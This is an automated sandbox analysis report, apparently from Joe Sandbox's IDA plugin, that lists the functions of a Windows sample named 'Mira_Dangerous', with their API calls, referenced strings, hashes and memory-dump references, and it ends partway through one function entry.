API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: c7278db8e3c9b7a084eb1c0e71fd963677ce82b26fa1d552b37908be2e989bde
Instruction ID: d7c2e3cd887532de82b4da98343d55a14f13dea554a21bd667c9fe3f8b506ad0
Opcode Fuzzy Hash: c7278db8e3c9b7a084eb1c0e71fd963677ce82b26fa1d552b37908be2e989bde
Instruction Fuzzy Hash: 2B5195A5A0EB4286E740AB11B410179FBA0FB49B91FC6A1B5DD8E037B4DF3CD449CB18

Function 00007FF7A8CC261C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 129registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF7A8CC2662
CharNextA.USER32 ref: 00007FF7A8CC2674
CharNextA.USER32 ref: 00007FF7A8CC2683
RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC2724
RegQueryValueExA.ADVAPI32 ref: 00007FF7A8CC275B
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7A8CC2782
RegCloseKey.ADVAPI32 ref: 00007FF7A8CC27B9
GetWindowsDirectoryA.KERNEL32 ref: 00007FF7A8CC27CF
GetSystemDirectoryA.KERNEL32 ref: 00007FF7A8CC27E5

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF7A8CC26A6

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction ID: 762965d69ec28327c824ea97269d181c959599df861fb806e60553102c65024d
Opcode Fuzzy Hash: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction Fuzzy Hash: 2E51A7B260968186EB10DF11E8542BAFBA1FB89B90F9661B1DA4E03764DF3CD449CF14

Function 00007FF7A8CC33F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7A8CC3430
GetDesktopWindow.USER32 ref: 00007FF7A8CC3441
SetDlgItemTextA.USER32 ref: 00007FF7A8CC3467
SetWindowTextA.USER32 ref: 00007FF7A8CC347D
SetForegroundWindow.USER32 ref: 00007FF7A8CC348C
GetDlgItem.USER32 ref: 00007FF7A8CC34A0
GetWindowLongPtrA.USER32 ref: 00007FF7A8CC34B7
SetWindowLongPtrA.USER32 ref: 00007FF7A8CC34D9
SendDlgItemMessageA.USER32 ref: 00007FF7A8CC350A

Strings

Mira, xrefs: 00007FF7A8CC3473

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: Mira
API String ID: 3785188418-679536105
Opcode ID: 0c8ccea153f4ee7b78298008ed30abde24da0bd623f78e8aeba97b039f8dc211
Instruction ID: 184955916c7b20abb6434de9160eea39ce65bf66f2f42202b39e975f8b74df7d
Opcode Fuzzy Hash: 0c8ccea153f4ee7b78298008ed30abde24da0bd623f78e8aeba97b039f8dc211
Instruction Fuzzy Hash: 1D3126B5906642C6E610AB25F4042B5FB61FB8AB51FC6B3B0D91E067B4CF3D9049CE18

Function 00007FF7A8CC7F04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF7A8CC7F59
GetSystemMetrics.USER32 ref: 00007FF7A8CC7F93
RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC7FC8
RegQueryValueExA.ADVAPI32 ref: 00007FF7A8CC8003
RegCloseKey.ADVAPI32 ref: 00007FF7A8CC8016
CharNextA.USER32 ref: 00007FF7A8CC8065

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF7A8CC7FBA

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction ID: 49961eb43dfd661a4ffb6333bae302219d3345a02baf0563b94889595de9d0b2
Opcode Fuzzy Hash: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction Fuzzy Hash: F851A4B2A0AA41CAEB509B24E4401BEF7A1FB88B50FC661B1DA5D037A4DF3CE555CF14

Function 00007FF7A8CC11CC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7A8CC1209
GetProcAddress.KERNEL32 ref: 00007FF7A8CC122B
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7A8CC1278
FreeSid.ADVAPI32 ref: 00007FF7A8CC12A0
FreeLibrary.KERNEL32 ref: 00007FF7A8CC12AF

Strings

advapi32.dll, xrefs: 00007FF7A8CC11FC
CheckTokenMembership, xrefs: 00007FF7A8CC1221

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction ID: 665c66a6acf8bbd35da88037dcef619b3370e8645e0c7cc5b62fa81746ba46f9
Opcode Fuzzy Hash: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction Fuzzy Hash: CE314D76609B458AD6109F16F4401AAFBA0FB89B80F866179DE8E43724DF3CE449CF14

Function 00007FF7A8CC2834 Relevance: 12.2, APIs: 8, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF7A8CC2A44

Part of subcall function 00007FF7A8CC261C: CharUpperA.USER32 ref: 00007FF7A8CC2662
Part of subcall function 00007FF7A8CC261C: CharNextA.USER32 ref: 00007FF7A8CC2674
Part of subcall function 00007FF7A8CC261C: CharNextA.USER32 ref: 00007FF7A8CC2683
Part of subcall function 00007FF7A8CC261C: RegOpenKeyExA.ADVAPI32 ref: 00007FF7A8CC2724
Part of subcall function 00007FF7A8CC261C: RegQueryValueExA.ADVAPI32 ref: 00007FF7A8CC275B
Part of subcall function 00007FF7A8CC261C: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7A8CC2782
Part of subcall function 00007FF7A8CC261C: RegCloseKey.ADVAPI32 ref: 00007FF7A8CC27B9

GetFileVersionInfoSizeA.VERSION ref: 00007FF7A8CC28AC
GlobalAlloc.KERNEL32 ref: 00007FF7A8CC28C9
GlobalLock.KERNEL32 ref: 00007FF7A8CC28E4
GetFileVersionInfoA.VERSION ref: 00007FF7A8CC290C
VerQueryValueA.VERSION ref: 00007FF7A8CC2932
GlobalUnlock.KERNEL32 ref: 00007FF7A8CC29DC
GlobalUnlock.KERNEL32 ref: 00007FF7A8CC29F0

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction ID: 2427cf3b67ea492b0f13f3f01a7074ea6a9682d78a5359d5819609eaeeee5484
Opcode Fuzzy Hash: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction Fuzzy Hash: 66517972A06642CAEB50AF1594005B8F7A4FB48B94F96A171DE0D63764EF3CE445CB24

Function 00007FF7A8CC2A6C Relevance: 12.1, APIs: 8, Instructions: 126COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7A8CC2AB2
IsDBCSLeadByte.KERNEL32 ref: 00007FF7A8CC2ACE
CharNextA.USER32 ref: 00007FF7A8CC2AF4
CharUpperA.USER32 ref: 00007FF7A8CC2B07
CharPrevA.USER32 ref: 00007FF7A8CC2B43
CharUpperA.USER32 ref: 00007FF7A8CC2B9F
CharNextA.USER32 ref: 00007FF7A8CC2BF9
CharNextA.USER32 ref: 00007FF7A8CC2C0B

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction ID: e2ab0b7fbe955e241627f5a410c9929f3a2ff5fdafb25b69958fb8027e56e38e
Opcode Fuzzy Hash: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction Fuzzy Hash: 0B51CBA1A0E6C545FB216F2594103B8EF91FB49B90F89A1F1CA8E077A5DE3CD4458B28

Function 00007FF7A8CC4C68 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC156E), ref: 00007FF7A8CC4C9B
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC156E), ref: 00007FF7A8CC4CBC
GetDC.USER32 ref: 00007FF7A8CC4CD9
GetDeviceCaps.GDI32 ref: 00007FF7A8CC4CF0
GetDeviceCaps.GDI32 ref: 00007FF7A8CC4D07
ReleaseDC.USER32 ref: 00007FF7A8CC4D20
SetWindowPos.USER32 ref: 00007FF7A8CC4D92

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: f008325a7646b8fc205624c4fd77acf99a3c7384c25ca23c8312c3aeeac09b65
Instruction ID: e6d2d9031c61823003b92421acd2c0a82ae0ef2902dbc01236aad64b05c5502b
Opcode Fuzzy Hash: f008325a7646b8fc205624c4fd77acf99a3c7384c25ca23c8312c3aeeac09b65
Instruction Fuzzy Hash: 01318172B256018AE7109B65E8045BDFBB0F749B59F95A1B0CE0953B68CF3CE4498F14

Function 00007FF7A8CC3F74 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF7A8CC3139), ref: 00007FF7A8CC3F95
LocalFree.KERNEL32 ref: 00007FF7A8CC4018

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Part of subcall function 00007FF7A8CC7700: GetLastError.KERNEL32 ref: 00007FF7A8CC7704

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF7A8CC3139), ref: 00007FF7A8CC403E
LocalFree.KERNEL32(?,?,?,?,?,00007FF7A8CC3139), ref: 00007FF7A8CC409F

Part of subcall function 00007FF7A8CC7AC8: FindResourceA.KERNEL32 ref: 00007FF7A8CC7AF2
Part of subcall function 00007FF7A8CC7AC8: LoadResource.KERNEL32 ref: 00007FF7A8CC7B09
Part of subcall function 00007FF7A8CC7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7A8CC7B3F
Part of subcall function 00007FF7A8CC7AC8: FreeResource.KERNEL32 ref: 00007FF7A8CC7B51

LocalFree.KERNEL32 ref: 00007FF7A8CC4078

Strings

<None>, xrefs: 00007FF7A8CC4037
LICENSE, xrefs: 00007FF7A8CC3F7D, 00007FF7A8CC3FE0

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 6bd63647ce96d4f8b0065cac43a1c91a38b3f5c003b37170c5f220880f70fde1
Instruction ID: 1a4b62d9c08e3595c7b7788a08819a962009d76e005f516f72497133bab626d6
Opcode Fuzzy Hash: 6bd63647ce96d4f8b0065cac43a1c91a38b3f5c003b37170c5f220880f70fde1
Instruction Fuzzy Hash: 2A315AB1A1B60286F710BF20E45437AEA60FB84745FC2A1B5DA0D466B0DF7DA0048F28

Function 00007FF7A8CC772C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC114C: _vsnprintf.MSVCRT ref: 00007FF7A8CC1189

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC606F), ref: 00007FF7A8CC7763
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC606F), ref: 00007FF7A8CC7772
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC606F), ref: 00007FF7A8CC77B8
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC606F), ref: 00007FF7A8CC77EC
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC606F), ref: 00007FF7A8CC7805

Strings

UPDFILE%lu, xrefs: 00007FF7A8CC77C9

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction ID: 73c4077e931900bd4ab78ae953d885b254890b034f8b47cd5268df67a514d3e1
Opcode Fuzzy Hash: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction Fuzzy Hash: BB3193B2A0A641C6E710AB25A400179FBA0FB89B50F96A275DA5E437B4CF3CE405CB14

Function 00007FF7A8CC5050 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction ID: dbe815e409d0bebccc27f65d83a9fedb7b7780cfa800c47718abc47582e49049
Opcode Fuzzy Hash: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction Fuzzy Hash: D21130B170AB4187E7146B62A844079FAA0FB4EFD1F8AA1B4DD4E43764DF3CD4458B14

Function 00007FF7A8CC2244 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF7A8CC2271
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7A8CC22A0
_lopen.KERNEL32 ref: 00007FF7A8CC22B4
_llseek.KERNEL32 ref: 00007FF7A8CC22CF
_lclose.KERNEL32 ref: 00007FF7A8CC22DF

Strings

wininit.ini, xrefs: 00007FF7A8CC2281

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction ID: c42beab2e710bb34042b77242d6702ab887c68e5cf23c8352c8b61e7ffcf1076
Opcode Fuzzy Hash: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction Fuzzy Hash: 6E116D72605A8187E720AB21E8542BAF7A1FBCC715FC691B1DA4E437A4DF3CD509CE04

Function 00007FF7A8CC3840 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF7A8CC388E
SetWindowTextA.USER32 ref: 00007FF7A8CC38AF
SetDlgItemTextA.USER32 ref: 00007FF7A8CC38CA
SetForegroundWindow.USER32 ref: 00007FF7A8CC38D9
EndDialog.USER32 ref: 00007FF7A8CC38EC

Strings

Mira, xrefs: 00007FF7A8CC38A5

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: Mira
API String ID: 761066910-679536105
Opcode ID: 53f545d9e0ff8d341fef1ad6af6e18a944f324add3d94d70d3143487fc889582
Instruction ID: e23f30ef487be0599229bba2b6a9e36cde2b75ad6337e26f5cf26ab2f016b57a
Opcode Fuzzy Hash: 53f545d9e0ff8d341fef1ad6af6e18a944f324add3d94d70d3143487fc889582
Instruction Fuzzy Hash: D41107E1D0A642C6F7547B66B804279EA51EB4AB41FC6B1B1D90E067B4CF3CA444CE28

Function 00007FF7A8CC494C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5078
Part of subcall function 00007FF7A8CC5050: SizeofResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC5089
Part of subcall function 00007FF7A8CC5050: FindResourceA.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50AF
Part of subcall function 00007FF7A8CC5050: LoadResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50C0
Part of subcall function 00007FF7A8CC5050: LockResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50CF
Part of subcall function 00007FF7A8CC5050: memcpy_s.MSVCRT ref: 00007FF7A8CC50EE
Part of subcall function 00007FF7A8CC5050: FreeResource.KERNEL32(?,?,00000000,00007FF7A8CC2E43), ref: 00007FF7A8CC50FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF7A8CC3388), ref: 00007FF7A8CC4975
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF7A8CC3388), ref: 00007FF7A8CC4A11

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Strings

FINISHMSG, xrefs: 00007FF7A8CC4959, 00007FF7A8CC49AC
@, xrefs: 00007FF7A8CC49F7
<None>, xrefs: 00007FF7A8CC49D5

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: 031df703cbb964bc01a60307a5d5bedcc318b480afccef988b7b3524bd41fc15
Instruction ID: 64b6e9b69a80356c73d9731a218752fd2b9b8b5646e99e7d2c5862b45e9d90ef
Opcode Fuzzy Hash: 031df703cbb964bc01a60307a5d5bedcc318b480afccef988b7b3524bd41fc15
Instruction Fuzzy Hash: 0A1184B2A0974287F720AB20F45177AF690FB85755FC6A1B4DA4E42AA4DF3CD0488F1C

Function 00007FF7A8CC79F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF7A8CC7A68
LoadLibraryExA.KERNEL32 ref: 00007FF7A8CC7A88
